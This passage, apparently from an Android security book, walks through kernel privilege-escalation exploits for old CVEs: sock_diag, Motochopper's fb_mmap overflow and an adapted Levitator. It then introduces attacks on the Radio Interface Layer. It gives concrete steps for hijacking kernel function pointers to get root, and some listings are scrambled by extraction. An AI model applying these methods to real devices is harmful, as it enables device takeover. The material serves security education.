Code starting with the faulting instruction
===========================================
0:
e5933004
ldr
r3, [r3, #4]
The script draws an arrow indicating where the crash happened and shows
instructions that led up to the crash. By following code and data flow backward,
you can see that r3 was loaded from r3 plus four. Unfortunately, you lose the
intermediate value of r3 in this situation. However, a bit further back you see
that r3 was originally loaded from where the r6 register points. Looking at
/proc/kallsysms on the vulnerable device, you see the following in the range
of the r6 value.
c108b988 b sock_diag_handlers
...
c108bb44 b nf_log_sysctl_fnames
c108bb6c b nf_log_sysctl_table
Here r6 points into the nf_log_sysctl_fnames data area. By searching for
this symbol in the kernel source, you will find
274
275
for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++) {
snprintf(nf_log_sysctl_fnames[i-NFPROTO_UNSPEC], 3, "%d", i);
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The array is initialized using integer values converted to ASCII strings. Each
string is three bytes long. Referring to the Oops message, including the memory
dump around r6, you can confirm that this is indeed the same data.
...
r3 : 00360000 r2 : ecf7dcc8 r1
...
R6: 0xc108bacc:
bacc c0dcf2d4 c0dcf2d4 c0d9aef8
baec c108baec c108baec c108baf4
bb0c c108bb0c c108bb0c c108bb14
bb2c c108bb2c c108bb2c c108bb34
bb4c 00003300 35000034 00360000
bb6c c108bb44 00000000 00000040
bb8c 00000000 c108bb47 00000000
bbac 00000001 00000000 c108bb4a
...
: ea9d6600
c0d9aef8
c108baf4
c108bb14
c108bb34
00003700
000001a4
00000040
00000000
r0 : c0de8c1c
c108badc
c108bafc
c108bb1c
00000000
39000038
00000000
000001a4
00000040
c108badc
c108bafc
c108bb1c
e2fb7500
30310000
c0682be8
00000000
000001a4
c108bae4
c108bb04
c108bb24
31000030
00313100
00000000
c0682be8
00000000
c108bae4
c108bb04
c108bb24
00320000
00003231
00000000
00000000
c0682be8
The ASCII strings start at 0xc108bb44. There appears to be a pattern. Each
string is three bytes, the values match the ASCII character values for digits, and
they are increasing in value. Because this string is statically initialized at boot,
it is an extremely stable source for user-space addresses to us for your exploit!
Finally, to successfully exploit the issue, map some memory at the address
the kernel uses for the corresponding index. For example, if you go with index
115, map some RWX memory at address 0x360000. Then set up the contents of
that memory with a pointer to your payload at offset 0x04. This becomes the
dump function pointer. When it gets called, your kernel-space payload should
give you root privileges and return. If everything went according to plan, you
will have successfully exploited this vulnerability and obtained root access.
Motochopper
Prolific Android exploit developer Dan Rosenberg developed and released an
exploit called Motochopper in April 2013. Although it was purported to provide root access on several Motorola devices, it also affected a range of other
devices, including the Samsung Galaxy S3. The initial exploit was fairly well
obfuscated in an attempt to hide what it was doing. It implemented a custom
virtual machine, opened tons of unnecessary decoy files, and used a neat trick
to mask which system calls it executed. The underlying issue was later assigned
CVE-2013-2596, which reads as follows:
Integer overflow in the fb_mmap function in drivers/video/fbmem.c in the
Linux kernel before 3.8.9, as used in a certain Motorola build of Android
4.1.2 and other products, allows local users to create a read-write memory
mapping for the entirety of kernel memory, and consequently gain privileges, via crafted /dev/graphics/fb0 mmap2 system calls, as demonstrated
by the Motochopper pwn program.
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To take a closer look, consult the code for the fb_mmap function in the drivers/
video/fbmem.c file from a vulnerable Linux kernel. More specifically, examine
the kernel source for the Sprint Samsung Galaxy S3 running the L710VPBMD4
firmware:
1343 static int
1344 fb_mmap(struct file *file, struct vm_area_struct * vma)
1345 {
....
1356
off = vma->vm_pgoff << PAGE_SHIFT;
....
1369
start = info->fix.smem_start;
1370
len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);
....
1383
if ((vma->vm_end - vma->vm_start + off) > len)
1384
return -EINVAL;
....
1391
if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
1392
vma->vm_end - vma->vm_start, vma->vm_page_prot))
The vma parameter is created from the parameters passed to the mmap system
call before calling fb_mmap (in mmap_region). As such, you pretty much fully
control its members. The off variable is directly based off of the offset value
you supplied to mmap. However, start, assigned on line 1369 is a property of the
frame buffer itself. On line 1370, len is initialized to the sum of a page-aligned
value of start and the length of the frame buffer region. On line 1383, you’ll
find the root cause of this vulnerability. The vm_end and vm_start values that
you control are subtracted to calculate the length of the requested mapping.
Then, off is added and the result is checked to see if it is larger than len. If a
large value is specified for off, the addition will overflow and the comparison
will pass. Finally, a huge area of kernel memory will be remapped into the
user’s virtual memory.
The methodology Dan used to exploit this vulnerability is broken into two
parts. First, he detects the value of len by trying to allocate incrementally larger
memory areas. He uses a zero offset during this phase and grows the size one
page at a time. As soon as the map size exceeds the len value, the fb_mmap function returns an error on line 1384. Dan detects this and notes the value for the
next phase. In the second phase, Dan attempts to allocate the largest memory
area possible while triggering the integer overflow. He starts with a conservative
maximum and works backward. Before each attempt, he uses the previously
detected value to calculate a value for off that will cause the integer overflow to
occur. When the mmap call succeeds, the process will have full read-write access
to a large area of kernel memory.
There are many ways to leverage read-write access to kernel memory. One
technique is overwriting kernel code directly. For example, you could change
the setuid system call handler function to always approve setting the user ID
to root. Another method is to modify various bits of kernel memory to execute
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arbitrary code in kernel-space directly. This is the approach you took when
exploiting the sock_diag bug in the preceding section. Yet another method,
which is the one Dan chose in Motochopper, is to seek out and modify the current user’s credentials structure directly. In doing so, the user and group ID
for the current process are set to zero, giving the user root access. Being able
to read and write kernel memory is very powerful. Other possibilities are left
to your imagination.
Levitator
In November 2011, Jon Oberheide and Jon Larimer released an exploit called
levitator.c. It was rather advanced for its time as it used two interrelated
kernel vulnerabilities: an information disclosure and a memory corruption.
Levitator targeted Android devices that used the PowerVR SGX 3D graphics
chipset used by devices like the Nexus S and Motorola Droid. In this section,
you’ll walk through the process of getting Levitator working on the Motorola
Droid. Doing so serves to explain additional techniques used when analyzing
and exploiting Linux kernel vulnerabilities on Android devices.
How the Exploit Works
Because the source code for the exploit was released, you can grab a copy and
start reading it. A large comment block at the top of the file includes the authors’
names, two CVE numbers and descriptions, build instructions, sample output,
tested devices, and patch information. Following the usual includes, some
constants and a data structure specific to communicating with PowerVR are
defined. Next, you see the fake_disk_ro_show function, which implements a
typical kernel-space payload. After that, two data structures and the global
variable fake_dev_attr_ro are defined.
N O T E It’s important to read and understand source code prior to compiling and
executing it. Failure to do so could compromise or cause irreparable harm to your
system.
The rest of the exploit consists of three functions: get_symbol, do_ioctl, and
main. The get_symbol function looks for the specified name in /proc/kallsyms
and returns the corresponding address or zero. The do_ioctl function is the
heart of the exploit. It sets up the parameters and executes the vulnerable I/O
control operation (ioctl).
The main function is the brain of the exploit; it implements the exploitation logic.
It starts by looking up three symbols: commit_creds, prepare_kernel_cred, and
dev_attr_ro. The first two are used by the kernel-space payload function. The
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latter is discussed shortly. Next, the exploit opens the device that belongs to the
vulnerable driver and executes the do_ioctl function for the first time. It passes
the out and out_size parameters to leak kernel memory contents into the dump
buffer. It then goes through the buffer looking for pointers to the dev_attr_ro
object. For each occurrence, the exploit modifies it to point to fake_dev_attr_ro,
which in turn contains a pointer to the kernel-space payload function. It calls
do_ioctl again, this time specifying the in and in_size parameters to write
the modified dump buffer back to kernel memory. Now, it scans for entries in the
/sys/block directory, trying to open and read from the ro entry within each. If
the ro entry matches a modified object, the kernel executes fake_disk_ro_show
and the data read is “0wned.” In this case, the exploit detects success and stops
processing more /sys/block entries. Finally, the exploit restores any previously
modified pointers and spawns a root shell for the user.
Running the Existing Exploit
Having read through the exploit, you know that it is safe to compile and execute
it on the target device. Follow the provided instructions and see the following:
$ ./levitator
[+] looking for symbols...
[+] resolved symbol commit_creds to 0xc0078ef0
[+] resolved symbol prepare_kernel_cred to 0xc0078d64
[-] dev_attr_ro symbol not found, aborting!
Oh no! The exploit fails because it was unable to locate the dev_attr_ro symbol.
This particular failure does not mean the device isn’t vulnerable, so open
the exploit and comment out the last call to get_symbol (lines 181 through
187). Instead, assign dev_attr_ro with a value you think would be unlikely to
be found in kernel memory, such as 0xdeadbeef. After making these changes
compile, upload, and run the modified code. The output follows.
$ ./nodevattr
[+] looking for symbols...
[+] resolved symbol commit_creds to 0xc0078ef0
[+] resolved symbol prepare_kernel_cred to 0xc0078d64
[+] opening prvsrvkm device...
[+] dumping kernel memory...
[+] searching kmem for dev_attr_ro pointers...
[+] poisoned 0 dev_attr_ro pointers with fake_dev_attr_ro!
[-] could not find any dev_attr_ro ptrs, aborting!
Knowing how the exploit works, you can tell that the ioctl operation was
successful. That indicates that the information leak is functioning as expected
and the device is certainly vulnerable.
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Unfortunately there’s no simple fix for this failure. The exploit relies heavily
on being able to find the address of the dev_attr_ro kernel symbol, which is
simply not possible using /proc/kallsyms on this device. Getting the exploit
working will require some time, creativity, and a deeper understanding of the
underlying issues.
Getting Source Code
Unfortunately, the exploit and these two CVEs are the bulk of the publicly available information on these two issues. To gain a deeper understanding, you’ll
want the source code for the target device’s kernel. Interrogate the device to see
the relevant versioning information, which appears below:
$ getprop ro.build.fingerprint
verizon/voles/sholes/sholes:2.2.3/FRK76/185902:user/release-keys
$ cat /proc/version
Linux version 2.6.32.9-g68eeef5 ([email protected]) (gcc
version 4.4.0 (GCC) ) #1 PREEMPT Tue Aug 10 16:07:07 PDT 2010
The build fingerprint for this device indicates it is running the newest firmware
available—release FRK76. Luckily the kernel for this particular device appears
to be built by Google itself, and includes a commit hash in its version number
string. The particular commit hash is 68eeef5. Unfortunately, the OMAP kernel
hosted by Google no longer includes the branch that included this commit.
In an attempt to expand the search, query your favorite search engine for the
commit hash. There are quite a few results, including some that show the full
hash for this commit. After poking around, you’ll find the code on Gitorious at
https://gitorious.org/android_kernel_omap/android_kernel_omap/. After
successfully cloning this repository and checking out the relevant hash, you
can analyze the underlying vulnerabilities in the code further.
Determining Root Cause
After obtaining the correct source code, execute a handful of git grep commands
to find the vulnerable code. Searching for the device name (/dev/pvrsrvkm)
leads you to a file operations structure, which leads you to the unlocked_ioctl
handler function called PVRSRV_BridgeDispatchKM. After reading through, you
can see that the vulnerable code is not directly in this function but instead the
BridgedDispatchKM function called from it.
Falling back to the git grep strategy, you will find BridgedDispatchKM on
line 3282 of drivers/gpu/pvr/bridged_pvr_bridge.c. The function itself is
fairly short. The first block in the function isn’t very interesting, but the next
block looks suspicious. The relevant code follows:
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3282 IMG_INT BridgedDispatchKM(PVRSRV_PER_PROCESS_DATA * psPerProc,
3283
PVRSRV_BRIDGE_PACKAGE
* psBridgePackageKM)
3284 {
....
3351
psBridgeIn =
((ENV_DATA *)psSysData->pvEnvSpecificData)->pvBridgeData;
3352
psBridgeOut = (IMG_PVOID)((IMG_PBYTE)psBridgeIn +
PVRSRV_MAX_BRIDGE_IN_SIZE);
3353
3354
if(psBridgePackageKM->ui32InBufferSize > 0)
3355
{
....
3363
if(CopyFromUserWrapper(psPerProc,
3364
ui32BridgeID,
3365
psBridgeIn,
3366
psBridgePackageKM->pvParamIn,
3367
psBridgePackageKM->ui32InBufferSize)
....
The psBridgePackageKM parameter corresponds to the structure that was copied
from user-space. On lines 3351 and 3352, the author points psBridgeIn and psBridgeOut to the pvBridgeData member of pSysData->pvEnvSpecificationData. If
the ui32InBufferSize is greater than zero, the CopyFromUserWrapper function
is called. This function is a simple wrapper around the Linux kernel’s standard
copy_from_user function. The first two parameters are actually discarded and
the call becomes
if(copy_from_user(psBridgeIn, psBridgePackageKM->pvParamIn,
psBridgePackageKM->ui32InBufferSize))
At this point, ui32InBufferSize is still fully controlled by you. It is not validated
against the size of the memory pointed to by psBridgeIn. By specifying a size
larger than that buffer, you are able to write beyond its bounds and corrupt the
kernel memory that follows. This is the issue that was assigned CVE-2011-1352.
Next, the driver uses the specified bridge ID to read a function pointer from
a dispatch table and executes it. The exploit uses bridge ID CONNECT_SERVICES
which corresponds to PVRSRV_BRIDGE_CONNECT_SERVICES in the driver. The function for this bridge ID is registered in the CommonBridgeInit function to call the
PVRSRVConnectBW function. However, that function doesn’t do anything relevant.
As such, you return to the BridgedDispatchKM function and see what follows.
3399
3400
3401
3402
3403
if(CopyToUserWrapper(psPerProc,
ui32BridgeID,
psBridgePackageKM->pvParamOut,
psBridgeOut,
psBridgePackageKM->ui32OutBufferSize)
Again you see a call to another wrapper function, this time CopyToUserWrapper.
Like the other wrapper, the first two parameters are discarded and the call
becomes
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if(copy_to_user(psBridgePackageKM->pvParamOut, psBridgeOut,
psBridgePackageKM->ui32OutBufferSize))
This time the driver copies data from psBridgeOut to the user-space memory
you passed in. Again it trusts your size, passed in ui32OutBufferSize, as the
number of bytes to copy. Because you can specify a size larger than the memory
pointed to by psBridgeOut, you can read data from after this buffer. This is the
issue that was assigned CVE-2011-1350.
Based on a deeper understanding of the issues, it’s more obvious what is
happening in the exploit. There is one detail that is still missing, though. Where
exactly do pvBridgeIn and pvBridgeOut point? To find out, search for the base
pointer, pvBridgeData. Unfortunately the venerable git grep strategy doesn’t
reveal a direct assignment. However, you can see pvBridgeData getting passed by
reference in drivers/gpu/pvr/osfunc.c. Take a closer look and see the following.
426 PVRSRV_ERROR OSInitEnvData(IMG_PVOID *ppvEnvSpecificData)
427 {
...
437
if(OSAllocMem(PVRSRV_OS_PAGEABLE_HEAP, PVRSRV_MAX_BRIDGE_IN_SIZE +
PVRSRV_MAX_BRIDGE_OUT_SIZE,
438
&psEnvData->pvBridgeData, IMG_NULL,
439
"Bridge Data") != PVRSRV_OK)
Looking into OSAllocMem, you’ll find that it will allocate memory using kmalloc if its fourth parameter is zero or the requested size is less than or equal to
one page (0x1000 bytes). Otherwise it will allocate memory using the kernel
vmalloc API. In this call, the requested size is the sum of the IN_SIZE and OUT_SIZE
definitions, which are both 0x1000. This explains the adding and subtracting
of 0x1000 in the exploit. Added together, the requested size becomes two pages
(0x2000), which would normally use vmalloc. However, the OSInitEnvData
function passes 0 as the fourth parameter when calling OSAllocMem. Thus, two
pages of memory are allocated using kmalloc.
The OSInitEnvData function is called very early in driver initialization, which
happens during boot. This is unfortunate because it means the buffer’s location
remains constant for any given boot. Exactly what other objects are adjacent to
this kernel heap block varies based on boot timing, drivers loaded on a device,
and potentially other factors. This is an important detail, as described in the
next section.
Fixing the Exploit
With a clear understanding of all the facets of these two vulnerabilities, you can
turn your efforts back toward getting the exploit working on the target device.
Recall from your attempt to run the original exploit that the dev_attr_ro
symbol does not appear in /proc/kallsyms on the target device. Either this
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type of object doesn’t exist or it is not an exported symbol. As such, you need
to find an alternative type of object that can satisfy two conditions. First, it must
be something that you can modify to hijack the kernel’s control flow. It helps if
you control exactly when the hijack takes place, like the original exploit does,
but it’s not a strict necessity. Second, it must be adjacent to the pvBridgeData
buffer as often as possible.
To tackle this problem, aim to solve the second condition and then the first.
Finding out exactly what is next to your buffer is fairly easy. To do so, make
further changes to your already-modified copy of the exploit. In addition to
commenting out the dev_attr_ro symbol resolution, write the data you leaked
from kernel-space to a file. When that is working, repeatedly reboot the device
and dump the adjacent memory. Repeat this process 100 times in order to get a
decent sampling across many boots. With the data files in hand, pull the contents
of /proc/kallsyms from the device. Then employ a small Ruby script, which is
included with this book’s materials, to bucket symbol names by their address.
Next, process all 100 samples of kernel memory. For each sample, split the data
into 32-bit quantities and check to see if each value exists inside the buckets
generated from /proc/kallsyms. If so, increase a counter for that symbol.
The output from this process is a list of object types that are found in /proc/
kallsyms along with the frequency (out of 100 tries) that they are adjacent to
your buffer. The top ten entries are displayed here:
dev:~/levitator-droid1 $ head dumps-on-fresh-boot.freq
90 0xc003099c t kernel_thread_exit
86 0xc0069214 T do_no_restart_syscall
78 0xc03cab18 t fair_sched_class
68 0xc01bc42c t klist_children_get
68 0xc01bc368 t klist_children_put
65 0xc03cdee0 t proc_dir_inode_operations
65 0xc03cde78 t proc_dir_operations
62 0xc00734a4 T autoremove_wake_function
60 0xc006f968 t worker_thread
58 0xc03ce008 t proc_file_inode_operations
The first couple of entries look very attractive because they are adjacent about
90 percent of the time. However, a modest attempt at leveraging these objects
was not fruitful. Out of the remaining entries, the items starting with proc_
look particularly interesting. These types of objects control how entries in the
proc file system process various operations. This is attractive because you know
that you can trigger such operations at will by interacting with entries under /
proc. This solves your first condition in the ideal way and solves your second
condition on about 65 percent of boots.
Now that you have identified proc_dir_inode_operations objects as the
thing to look for, you’re ready to start implementing the new approach. The fact
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that you find pointers to these objects adjacent to your buffer indicates they are
embedded in some other type of object. Looking back at the kernel source, find
any assignments where the referenced object is on the right hand side. This leads
you to the code from around line 572 of fs/proc/generic.c:
559 static int proc_register(struct proc_dir_entry * dir,
struct proc_dir_entry * dp)
560 {
...
569
if (S_ISDIR(dp->mode)) {
570
if (dp->proc_iops == NULL) {
571
dp->proc_fops = &proc_dir_operations;
572
dp->proc_iops = &proc_dir_inode_operations;
The proc_register function is used within the kernel to create entries in
the proc file system. When it creates directory entries it assigns a pointer to the
proc_dir_inode_operations to the proc_iops member. Based on the type of the
dp variable in this excerpt, you know the adjacent objects are proc_dir_entry
structures!
Now that you know the outer data type’s structure, you can modify its elements accordingly. Copy the requisite data structures into your new exploit file
and change undefined pointer types to void pointers. Modify the exploit to look
for the proc_dir_inode_operations symbol (instead of dev_attr_ro). Then
implement new trigger code that recursively scans through all directories in
/proc. Finally, create a specially crafted inode_operations table with the getattr
member pointing at your kernel-space payload function. When something on
the system attempts to get the attributes of your modified proc_dir_entry, the
kernel calls your getattr function thereby giving you root privileges. As before,
clean up and spawn a root shell for the user. Victory!
Summary
This chapter covered several topics relevant to hacking and attacking the Linux
kernel used by all Android devices. It explained how Android kernel exploitation is relatively easy because of its monolithic design, distribution model,
configuration, and the vast exposed attack surface.
Additionally, this chapter provided tips and tools to make the job of an Android
kernel exploit developer easier. You walked through the process of building
custom kernels and kernel modules, saw how to access the myriad debugging
facilities provided by the kernel, and how to extract information from both
devices and stock firmware images.
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A few case studies examined the exploit development for kernel memory corruption issues such as array indexing vulnerabilities, direct memory mapping
issues, information leaks, and heap memory corruption.
The next chapter discusses the telephony subsystem within Android. More
specifically, it explains how to research, monitor, and fuzz the Radio Interface
Layer (RIL) component.
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CHAPTER
11
Attacking the Radio
Interface Layer
The Radio Interface Layer, RIL in short, is the central component of the Android
platform that handles cellular communication. The Radio Interface Layer provides an interface to the cellular modem and works with the mobile network
to provide mobile services. The RIL is designed to operate independent of the
cellular modem chips. Ultimately the RIL is responsible for things such as
voice calls, text messaging, and mobile Internet. Without the RIL, an Android
device cannot communicate with a cellular network. The RIL is, in part, what
makes an Android device a smartphone. Today, cellular communication is no
longer limited to mobile phones and smartphones because tablets and eBook
readers come with built-in, always-on mobile Internet. Mobile Internet is the
responsibility of the RIL, and therefore, the RIL is present on most Android
devices.
This chapter shows you how the RIL works and how it can be analyzed and
attacked. It methodically introduces you to the different components of RIL and
how they work together. The attack part of this chapter focuses on the Short
Messaging Service (SMS) and specifically how to fuzz SMS on an Android
device. The first half of the chapter provides an overview of the Android RIL
and introduces the SMS message format. The second half of the chapter takes
a deep dive into instrumenting the RIL to fuzz the SMS implementation of
Android. When you reach the end of this chapter you will be armed with the
knowledge to carry out your own security experiments on the Android RIL.
367
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Introduction to the RIL
The Android RIL is built to abstract the actual radio interface from the Android
telephony service subsystem. RIL is designed to handle all radio types such as
the Global System for Mobile communication (GSM), Code Division Multiple
Access (CDMA), 3G, and 4G Long Term Evolution (LTE). The RIL handles all
aspects of cellular communication such as network registration, voice calls, short
messages (SMS), and packet data (IP communication). Because of this, the RIL
plays an important role on an Android device.
The Android RIL is one of the few pieces of software that is directly reachable from the outside world. Its attack surface is comparable to that of a service
hosted on a server. All data sent from the cellular network to an Android device
passes through the RIL. This is best illustrated by examining how an incoming
SMS message is processed.
Whenever an SMS message is sent to an Android device, that message is
received by the phone’s cellular modem. The cellular modem decodes the physical transmission from the cell tower. After the message is decoded, it is sent on a
journey starting at the Linux kernel; it passes through the various components
of the Android RIL until it reaches the SMS application. The process of SMS
delivery inside the RIL is discussed in great detail throughout this chapter. The
important message at this point is that the RIL provides a remotely attackable
piece of software on an Android device.
A successful attack against RIL provides a wide range of possibilities to
attackers. Toll fraud is one such possibility. The RIL’s main function is to interact
with the digital baseband, and, therefore controlling RIL means access to the
baseband. With access to the baseband, an attacker can initiate premium rate
calls and send premium rate SMS messages. He can commit fraud and hurt
the victim financially and, at the same time, he can gain monetarily. Spying
is another possibility. RIL can control other features of the baseband, such as
configuring the auto-answer setting. This could turn the phone into a room
bug, which is quite a serious matter in an enterprise environment. Yet another
possibility is intercepting data that passes through the RIL. Consequently, having control of RIL means having access to data that is not protected (that is, not
end-to-end encrypted).
In summary, a successful attack against RIL provides access to sensitive
information and the possibility of monetizing the hijacked device at the owner’s
expense.
RIL Architecture
This section provides a general overview of the RIL and the Android telephony
stack. First, though, you get a brief overview of the common architecture of
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modern smartphones. The described architecture is found in all Android-based
mobile devices.
Smartphone Architecture
To help you better understand mobile telephony stacks, this section takes a quick
detour and looks at the design of a modern smartphone. Tablets that contain
a cellular interface are based on the same architecture. A modern smartphone
consists of two separate, but cooperating, systems. The first system is called the
application processor. This subsystem consists of the main processor — most
likely a multi-core ARM-based central processing unit (CPU). This system also
contains the peripherals such as the display, touchscreen, storage, and audio input
and output. The second system is the cellular baseband or cellular modem. The
baseband handles the physical radio link between the phone and the cellular
communication infrastructure. Basebands are mostly composed from an ARM
CPU and a digital signal processor (DSP). The type of application processor and
baseband is highly dependent on the actual device manufacturer and the kind
of cellular network the device is built for (GSM versus CDMA, and so on). The
two subsystems are connected to each other on the device’s main board. To
reduce costs, chipset manufacturers sometimes integrate both into one single
chip, but the systems still function independently. Figure 11-1 shows an abstract
view of a modern smartphone.
SoC
GPS
UART
Baseband
UART
CPU
CPU
Memory
DSP
Memory
Display
Touchscreen
Flash
Figure 11-1: General smartphone architecture
The interface between both systems is highly dependent on the actual components and the device manufacturer. Commonly found interfaces are Serial
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Peripheral Interface (SPI), Universal Serial Bus (USB), Universal Asynchronous
Receiver/Transmitter (UART), and shared memory. Because of this diversity,
the RIL is designed to be very flexible.
The Android Telephony Stack
The telephony stack in Android is separated into four components which are
(from top to bottom) the Phone and SMS applications, the application framework,
the RIL daemon, and the kernel-level device drivers. The Android platform is
partially written in Java and partially written in C/C++ and thus respected parts
are executed in either the Dalvik virtual machine (VM) or as native machine
code. This distinction is very interesting when it comes to finding bugs.
In the Android telephony stack, the separation between Dalvik and native
code is as follows. The application parts are written in Java and are thus executed
in the Dalvik VM. The user-space parts such as the RIL daemon and libraries
are native code. The Linux kernel, of course, is executed as native code. Figure
11-2 depicts an overview of the Android Telephony Stack.
Phone Application
Applications
Call Tracker
SMS Dispatch
Service Tracker
Data Tracker
Phone
/java/android/telephony
Application
Framework
RIL
/java/android/telephony/gsm
Dalvik
Native
RIL Daemon (rild)
/system/bin/rild
User-Space
Vendor RIL
/system/lib/lib-vendor.so
Voice and
Control
IP Stack
Linux Kernel
Platform and Baseband Drivers
Baseband
Figure 11-2: The Android telephony stack
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The Phone Applications
This component includes the high-level software that implements a number
of core functionalities. It includes the Phone dialer and Messaging apps. Each
bit of functionality is implemented in what Google calls a tracker. There is the
call tracker, the SMS dispatcher, the service tracker, and the data tracker. The call
tracker handles voice calls — for example, establishing and tearing down the
call. The SMS dispatcher handles SMS and Multimedia Messaging Service (MMS)
messages. The service tracker handles cellular connectivity (for example, is the
device connected to a network, what’s the reception level, is it roaming). The
data tracker is responsible for data connectivity (mobile Internet). The Phone
applications communicate with the next layer — the Application Framework.
The Application Framework
The Application Framework components of the RIL serve two purposes. First,
it provides an interface for the Phone application to communicate with the RIL
daemon. Second, it provides abstractions for many cellular-related concepts
that differ between network types. Developers can take advantage of these
abstractions by using the methods in the android.telephony package in their
applications.
Native User-Space Components
The user-space components consist of the RIL daemon and its supporting libraries. The RIL daemon is the main topic of this chapter and is discussed in more
detail in the “The RIL Daemon” and “The Vendor RIL API” sections later in
this chapter.
The Kernel
The Linux kernel hosts the lowest layer of the telephony stack. It contains the
drivers for the baseband hardware. The drivers mostly provide an interface for
user-land applications to talk to the baseband. This is often a serial line. This
interface is covered in more detail later in this chapter.
Telephony Stack Customization
The Android telephony stack can be customized at various layers. In fact, some
customizations are required. For example, the baseband driver has to be adapted
to fit the specific hardware configuration. In addition to required changes, device
manufacturers also customize parts of the telephony stack that normally do not
need to be customized. Common customizations include a replacement phone
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Chapter 11 ■ Attacking the Radio Interface Layer
dialer and a replacement or additional SMS and MMS application. Various manufacturers also seem to add functionality to the telephony-related Application
Framework core quite frequently. Such customizations and additions are especially interesting in terms of security because they are mostly closed source and
may not have been audited by qualified security researchers.
The RIL Daemon (rild)
The most important part of the Radio Interface Layer is the RIL daemon (rild).
The RIL daemon is a core system service, and runs as a native Linux process. Its
main functionality is to provide connectivity between the Android Telephony
Application Framework and the device-specific hardware. To accomplish this, it
exposes an interface to the Application Framework through Binder IPC. You can
find the source code for the open source portion of rild in the Android Open
Source Project (AOSP) repository under the hardware/ril directory.
Google specifically designed rild to support third-party, closed-source hardware interface code. For this purpose, rild provides an application programming
interface (API) consisting of a set of function calls and callbacks. On startup,
rild loads a vendor provided shared library called the vendor-ril. The vendor-ril
implements the hardware-specific functionality.
This daemon is one of the few services on an Android device that is managed
by init. As such, rild is started on system startup and is restarted if the process
terminates unexpectedly. Unlike some other system services, an RIL daemon
crash is unlikely to cause a partial reboot or leave the system in an unstable
state. These facts make playing around with rild very convenient.
rild on Your Device
The RIL daemon is a little different on every device. As you get started with
working on your own device, it helps to have an overview of its configuration.
Following is a guide on how to get a quick overview of your rild environment.
The example uses an HTC One V running Android 4.0.3 and HTC Sense 4.0.
Below we issue a number of commands on an ADB shell to get an overview
of the RIL environment. First, we obtain the process ID (PID) of rild. With the
PID we can inspect the process using the proc file system. This provides us
with the list of libraries that are loaded by rild. In next step, we inspect the
init scripts. This provides us a list of UNIX domain sockets that are used by
rild. In the third step, we again use the proc file system to determine which
files are opened by rild. This provides us with the names of the serial devices
that are used by rild. In the last step, we dump all of the RIL related Android
system properties using the getprop utility.
[email protected]:/ # ps |grep rild
radio
1445 1
14364 932
ffffffff 40063fb4 S /system/bin/rild
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[email protected]:/ #
00008000-0000a000
0000a000-0000b000
400a9000-400b9000
400b9000-400bb000
4015e000-401ed000
401ed000-401f3000
cat /proc/1445/maps
r-xp 00000000 b3:19
rw-p 00002000 b3:19
r-xp 00000000 b3:19
rw-p 00010000 b3:19
r-xp 00000000 b3:19
rw-p 0008f000 b3:19
|grep ril
284
284
1056
1056
998
998
/system/bin/rild
/system/bin/rild
/system/lib/libril.so
/system/lib/libril.so
/system/lib/libhtc_ril.so
/system/lib/libhtc_ril.so
[email protected]:/ # grep rild /init.rc
service ril-daemon /system/bin/rild
socket rild stream 660 root radio
socket rild-debug stream 660 radio system
socket rild-htc stream 660 radio system
[email protected]:/data
lrwx------ root
lrwx------ root
lrwx------ root
lrwx------ root
# ls -la
root
root
root
root
/proc/1445/fd |grep dev
2013-01-15 12:55
2013-01-15 12:55
2013-01-15 12:55
2013-01-15 12:55
13
14
15
16
->
->
->
->
/dev/smd0
/dev/qmi0
/dev/qmi1
/dev/qmi2
[email protected]:/ $ getprop |grep ril
[gsm.version.ril-impl]: [HTC-RIL 4.0.0024HM (Mar 6 2012,10:40:00)]
[init.svc.ril-daemon]: [running]
[ril.booted]: [1]
[ril.ecclist]: [112,911]
[ril.gsm.only.version]: [2]
[ril.modem_link.status]: [0]
[ril.reload.count]: [1]
[ril.sim.swap.status]: [0]
[rild.libpath.ganlite]: [/system/lib/librilswitch.so]
[rild.libpath]: [/system/lib/libhtc_ril.so]
[rilswitch.ganlibpath]: [/system/lib/libganril.so]
[rilswitch.vendorlibpath]: [/system/lib/libhtc_ril.so]
[ro.ril.def.agps.mode]: [2]
[ro.ril.enable.a52.HTC-ITA]: [1]
[ro.ril.enable.a52]: [0]
[ro.ril.enable.a53.HTC-ITA]: [1]
[ro.ril.enable.a53]: [1]
[ro.ril.enable.amr.wideband]: [1]
[ro.ril.enable.dtm]: [1]
[ro.ril.enable.managed.roaming]: [1]
[ro.ril.gprsclass]: [12]
[ro.ril.hsdpa.category]: [10]
[ro.ril.hsupa.category]: [6]
[ro.ril.hsxpa]: [2]
...
There are a number of interesting pieces of information in the preceding code,
such as the name of the vendor-ril, which is libhtc_ril.so. Further, rild further
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exposes a number of sockets in /dev/socket. These sockets serve various purposes. For example, the /dev/socket/rild-debug and /dev/socket/rild-htc
sockets facilitate debugging rild and/or the vendor-ril. The name of the serial
device used to talk to the cellular baseband is the most interesting detail. For the
HTC One V, this device is /dev/smd0. The serial device is especially interesting
for security since rild sends commands to the modem via this serial device.
Commands include incoming and outgoing SMS messages, therefore making
this communication link very interesting for attacks.
Security
The RIL daemon is one of the few pieces of software on an Android device that
is directly reachable from the outside world. Both rild and the vendor-ril are
implemented in C and C++ and are compiled to native code. These programming
languages are not memory safe and therefore tend to be a significant source of
security issues. The RIL daemon has to deal with a lot of inputs that it receives
from various sources. The code in rild has to parse and process data and
control information it receives from the cellular modem and from the Android
Framework. The straightforward example is an SMS message.
Processing an incoming SMS message traverses several different pieces of
hardware and software, each of which an attacker can target. Whenever an SMS
message is sent to an Android device, that message is received by the baseband.
The baseband decodes the physical transmission and forwards the message via
the baseband driver in the Linux kernel. The driver in the Linux kernel forwards
it to the vendor-ril library in the RIL daemon. The RIL daemon pushes the message up into the Android Telephony Framework. Therefore, the RIL is a remotely
attackable piece of software on every Android device. Attackers prefer remote
attacks since they do not require any interaction on the part of the target user.
When the RIL daemon starts, it is typically executed with root privileges. To
minimize the risk, rild drops its privileges to the radio user shortly thereafter.
The radio user only has access to the relevant resources required to fulfill its
duties. Nevertheless, rild still has access to interesting data (such as SMS messages) and interesting functionality (ability to send SMS messages and make
phone calls) as stated earlier in this chapter. Further, the radio user and group
are used to ensure the resources on the system that are only required by rild
are not overly exposed.
The Vendor-ril API
The vendor-ril is the manufacturer and device-specific code that implements the
functionality to interact with a specific type of cellular baseband. Because basebands are still highly proprietary, the RIL subsystem was specifically designed
